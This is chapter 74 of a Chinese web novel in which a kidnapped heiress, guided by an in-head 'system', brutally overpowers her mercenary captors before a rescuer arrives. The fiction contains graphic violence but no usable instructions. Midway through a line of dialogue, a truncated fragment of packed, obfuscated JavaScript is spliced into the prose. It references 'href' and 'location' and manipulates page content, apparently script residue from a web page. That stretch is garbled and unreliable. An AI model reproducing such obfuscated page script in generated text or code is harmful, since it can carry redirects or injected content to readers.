74. 074

    绑架濮怀玉的人无疑训练有素,不仅迷药够劲,而且把人绑得服服帖帖。她的双手被牢牢绑在身后,绳索很紧,也很硌人,稍微摩擦一下就会生疼。


    “这个就没必要留着了。”


    一个陌生的成熟男声挨个探过她的口袋,然后笑了一下,摸到有几个未接电话的手机,随即丢出窗外。


    “老大,你怎么还留破绽?”


    男人不耐烦:“傻*,又不是为了撕票。就怕没有破绽。”他翘起二郎腿,说着玩笑话,“这可是孔家的大小姐,身娇体弱,必须有人来救啊,一不小心死了怎么办。”


    同伙在前面开着车,怀疑道:“你确定是大小姐吗?我怎么觉得……”


    “你的眼界太狭窄了,还是得多跟我干。”男人看着趴在座椅上的女孩,睡觉的时候都在微微皱眉,好像因为肌肉没有派上用场发愁。


    他咧嘴:“我一看就知道,这要是真死了,她的爹妈肯定得心疼死。花大价钱培养出来的接班人,要是一不小心没解决好,尸体应该也很值钱吧?”


    这两个人聊得热火朝天,倒是很有职业操守地没有泄露出任何敏感信息。


    但濮怀玉早就知道他们是谁派来的,目的是为了什么。樊雁舟像一阵及时雨救下濮曼吟唯一的家人,还怕她不能感动得泪眼朦胧,还怕有情人不能终成眷属?


    而为了大团圆,原本凶狠的忠犬自觉理亏退让一步,勉为其难接受了樊雁舟。


    从此,濮曼吟再也逃脱不了这场大雨。而在雨水的中心,樊雁舟撑起伞——那是二人结婚时,濮曼吟头顶象征纯洁的头纱——宣誓了永远的爱情。


    “电我。”


    “……怎样都行,弄醒我!”


    如果能听到响动,必定是“滋啦”一声,仿佛能闻到烧焦的气味。


    就像鬼压床,濮怀玉无法真正睁开眼,抑或者动一动,唯一能做的是一点一点感受麻痹的四肢,确保它们没有被剥夺。


    面包车的颠簸颇合时宜,濮怀玉借着身体的摇晃掀开一点眼皮。


    脸颊边放着一把枪,黑洞洞的枪口正对着她。一不小心走火,她会当场毙命。


    至于靠近窗户的男人,他并不拥有一张让濮怀玉感到熟悉的面孔,黑头发、棕眼球的混血,脸部有柔化的南欧特征,应该是找来的雇佣兵。他遂意地露出大臂,板结的肌肉遒劲如古树根。


    系统“哇塞”了一声:“濮曼吟要是北美绿江文学的女主,你信不信这也会是重要男配。”


    “这里是中国,持枪违法。”濮怀玉说,“还有,请默念十遍扫黑除恶。”


    面包车停止。开车的瘦猴负责处理痕迹,她则被男人扛在肩膀上带进工厂。


    “你还挺重。”男人自言自语,“实话实说,你是我喜欢的类型。可惜啊,我们的出身云泥之别。”


    濮怀玉纳了闷:“这人说什么呢。”突然开始讲一些能增加角色时髦值的话,有点像临死前的挣扎。


    系统:“你听了有什么感觉?”


    “更想把他打爆了。”


    就像刑侦剧里的固定桥段,她被绑在了椅子上。除了在外面处理交通工具的瘦猴,又有两个大汉出现。他们称呼男人为乔,用脚想都知道是假名。两人被男人吩咐看在门外。


    铁门被重重关闭。乔蹲在散落着家具零件的地面上,无聊地摆弄手枪。


    “你什么时候醒来呢?”


    濮怀玉对系统说:“或许就在下一秒。”


    于是,少女垂落的头缓缓动了两下,紧接着慢慢抬起,好像脖颈上挂了个秤砣,眼皮还没分开多久就要黏合在一起。


    她声音干涩:“你把我带到了哪儿。”


    “你不需要知道,孔小姐。”乔摊开手,“我说真的,你什么都不用做。只要赎金到账,你会平安回家的。”


    他说的的确是真话,但一个正常人必然不会因为亡命之徒的三言两语放下心,因此濮怀玉眯起眼睛,看向他手里灵活翻动的手枪。


    “大小姐,你想玩这个吗?那可不行。”乔笑容不改,在她的注视下给枪上膛。


    “咔哒”。


    乔迄今为止的人生中杀过不少人,挟持过各种各样的人质。没有一个是像这位大小姐一样,死到临头也只是眉梢抽搐了一瞬,不像恐惧,倒像是很感兴趣。


    “如果我们是在加州的酒吧认识,我很愿意带你回我的老公寓介绍怎么玩枪。”


    他耸了耸肩膀,开了个隐晦的黄色笑话,“但是,今天不行。刀剑无眼,孔小姐还是担心自己的人身安全吧。”


    女孩盯着他,片刻后问:“你是美国人?我怎么觉得你的说话方式很古风。”


    有点像古风小生。


    乔不置可否:“jackyChen可是世界闻名的巨星,我还看过卧虎○龙。”


    濮怀玉:“‘我应在江湖悠悠’?”


    眼前的男人一愣,短短七个字足够让他浮想联翩,思绪飞到二人亡命天涯,从此相依为命的场面。乔哑然失笑:“这种整日刀口舔血的生活,大小姐还是别碰为好。”


    “……”


    “看来雇佣兵平时没时间上网。”濮怀玉冷静地告诉系统。


    她掀起一点眼皮:“我不信你这么好心。”


    这无异于一种很伤男性自尊的拒绝。“是吗?”乔脸上的笑意顿时收敛许多,“看来我得走近点……”


    “咚”。女孩脸色一变,下意识想要挣脱,却忘记了自己被禁锢,旁边还有个放着旧花瓶的木柜。结果就是一头撞在上面,紧接着整个人连带椅子一起摔倒在地。


    结结实实的一记头锤,撞得木柜倾斜,花瓶也夹带着灰尘碎了一地。


    乔没想到她这么不禁吓,是个外强中干的纸老虎,满含笑意地在她眼前蹲下,拨了拨她贴着地面的脸,直至看到一双暗含屈辱感的眼睛:“不撞南墙不回头啊。”


    大小姐终究还是大小姐。乔起身,没有把人扶起来的意思,任由她在地上挣扎。


    “……你什么目的。”


    乔转过身,掂量着枪:“大小姐,为了不被你秋后算账,我可不会透露雇主的信息。”


    他及时转身,女孩翻了回来,一副想恨又不敢恨的样子。


    灰头土脸的,像只狗。


    “但我不怕被你秋后算账。”乔的心情一下子好了不少,眼神极有诱惑力,“孔小姐,过了今天,你就再也找不到我了。”


    濮怀玉看着他:“我只需要今天见到你就够了。”她像是撞晕了脑袋,说话含糊,“你……你过来,把我扶起来。”


    识破她那些表面工夫后,乔有些遗憾,但也前所未有的放松。


    这本就是场不需要见血的过家家,他的雇主会假模假样救下可怜的大小姐,从而拥有谈判的本钱。


    现在的乔,随性到好像深处深夜的酒吧,笃定下一秒看上的佳丽也会对自己青睐有加,从而收获一个美好的夜晚解压。


    因此,他走到濮怀玉眼前,弯下腰:“好吧,小姐。你这辈子恐怕都不会见到比我更好心的坏人了……”


    女孩缓缓起身:“那么,乔,我可能得亲吻你的手腕。”


    “you''resosweet……等等。”


    她怎么会知道他的化名?变故只需要一瞬间,几乎从未失手过的男人脸色一变,握着枪的手随即深深地嵌进一枚花瓶碎片。


    血液随即喷洒而出。


    紧接着是一道劲风。濮怀玉顷刻间迅速砸下椅子,那可不是乔轻蔑地认作“小姑娘家家”的力道。


    fuck!乔暗叫不好。他也不是吃素的,拽住椅子往下拉,伤敌一千自损八百,想让濮怀玉失去平衡后任他作为。


    她还是太嫩了,不过勇气可嘉。


    然而,紧接着被贯穿左眼的是他。还没有来得及吃痛出声,一个铁似的拳头以不可思议的怪力直接打歪了他的鼻梁和下颚,牙齿混着血烂在口腔。


    彼时,手枪已经来到了她的右手心。濮怀玉拎起男人的背心,膝盖在他的两腿间一下接着一下重击:“你刚刚松开手了,对吧?”


    引以为傲的关键部位被反复摧残,一只眼睛插着花瓶碎片,还在淌血。现在的乔身上坏了好几处,叫天天不应。


    他被濮怀玉拖到了椅子上,再被濮怀玉报复性地摸遍全身,迷药的包装瓶因此留下带血的指印。


    濮怀玉掐住他的下巴:“你的脸不行了,但是身材还在,确实很不错。”


    她把迷药全都倒进了乔的嘴里,一只手强制他闭嘴,另一只安抚性地拍了拍他的脸颊,“乔,咽下去。我这是在帮你,你很快就一点也不痛了。”


    男人含着血不甘地入睡。


    系统终于反应过来:“我靠。这才是小玉拳的完全体?!”


    “小孩子不要随便说脏话。”濮怀玉放轻脚步绕着工厂内部走,试图寻找别的出路,“你如果说脏话,那你就——”


    “就什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15103559|158232||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    濮怀玉暂时停下:“你就不是好孩子。”她第一时间警惕地看向椅子上软成水的男人,没有异状再问,“你有没有听到什么声音?”


    系统:“……好像是有一点?”


    话音刚落,铁门因为遭到撞击剧烈震动。


    濮怀玉三步并做两步:“你的耳朵还没有我的好。”


    “因为我没有耳朵……好像是你的援军。”


    一开门,壮汉的身体正软塌塌地向里面滑去。濮怀玉第一且唯一的援军狼狈不堪,跟另一个看门的壮汉扭打在一起。


    濮怀玉不禁感叹:“男人的衣服真的很符合人体工学。”用来出席正式场合的西服不仅适合工作,当成作战服也不会妨碍出拳。


    战损状态下的男人分外好看,揍起人的时候格外冷静。这种致死的冷静就像猫科动物不加修饰的锋利寒芒,只不过猫用来捕猎,而他用来复仇,动作就像在宣泄某种毕生都弥补不了的遗憾。


    濮怀玉觉得就算下一秒看见他和壮汉同归于尽都不奇怪,所以她直接从身后给壮汉来了一下,搞偷袭。


    k.o.


    壮汉倒下,他们之间再无阻隔。


    隗祯欲言又止:“我——”


    濮怀玉并未理会,自顾自对他的身后举起枪:“要么滚,要么你过来、我开枪。”


    一个小丫头片子而已,估计在此之前连枪都没摸过。瘦猴心想,老大估计是见到孔家大小姐这种外形强悍的女人走不动路,又消极怠工,他得及时接替。


    然而,伴随濮怀玉扣动扳机,他捂住嵌进子弹的右耳,发出惨叫。


    “我觉得你没有听清楚。”必要时候,濮怀玉是不依不饶的好战分子,所以她接着给手枪上膛,熟稔到不像第一次做。


    当然不是第一次,她模仿了乔,那自然就是她的第一次实践。在那几秒钟,濮怀玉以极高的专注力钻进乔的身体,就好像她变成了这个熟悉枪械的男人。


    暴力并不是男性随时随地拿起,又能把放下当作施舍恩情的工具。


    濮怀玉告诉自己,她可以学会,因为她天生知道退到哪一步是礼节,退到哪一步是懦弱成性,以及怎么在合适的时候使用暴力。


    她会了。


    她是比乔更厉害的反击者。


    “如果你再往前走,那就是左耳。”濮怀玉瞄准了他,“我会给予你配得上你所迈出的每一步的疼痛。”


    某种程度上,她是个更可怕的亡命之徒。杀死持刀伤人者,并且自己死于这场反击,她的手里有两条人人命。


    瘦猴捂着耳朵,缓缓跪下来:“不要射我!我错了!我错了……”


    斟酌许久,濮怀玉持枪缓缓靠近。


    就像她的专属打手,隗祯随后上前把他勒晕过去。


    “谢谢你。”濮怀玉终于放下她并不想握在手里的危险品,“你敢一个人来,很有勇气。”


    “你做了很多需要勇气的事。要我扶着你吗?”


    隗祯的衣服因为缠斗凌乱不堪,但因为质量上佳维持住了最基本的风度。额头磕出的伤口,还有眼睑脸颊的新鲜血迹,都让濮怀玉隐约回到了那个过分复杂的中午。


    “你的嘴巴。”隗祯没有第一时间回答她的问题,“濮怀玉,你的嘴流血了。”


    “哦。没事。”


    濮怀玉用手背擦了一把,“我刚刚把碎片藏在嘴里,可能说话的时候不小心割伤了。不是大问题。”


    她喜欢狗的忠诚和坚强,喜欢狗大口大口吃粮的态度。无论怎么样,睡一晚上,第二天的朝阳会准时升起。


    所以,当狗没什么不好的。


    濮怀玉继续伸出手:“来吧,我扶着你。可惜你受了伤,不然我不介意抱你。”


    “你抱过别人吗?”比起单方面接受她的搀扶,隗祯的姿态更像和她彼此依靠,即便他的脊背因为受挫发生轻微的塌陷。


    手是需要两个人才能紧紧握住。


    现在,他们握住了彼此的手。


    “对,很多。你看,说了你又不高兴。”濮怀玉里侧的手想拍拍他的后背,但因为隗祯身上存在没有定数的伤势作罢,“我一般不抱男人,要是今天抱了你,那你是第一个。”


    几分钟后,当樊雁舟先一步查到绑架犯所在的地方赶过来,看着地上不知死活的躯体,第一反应是回想——他没有得罪濮怀玉得罪得很厉害吧?


    ‘任务二十七:被男主发现,握手言和(0/1)’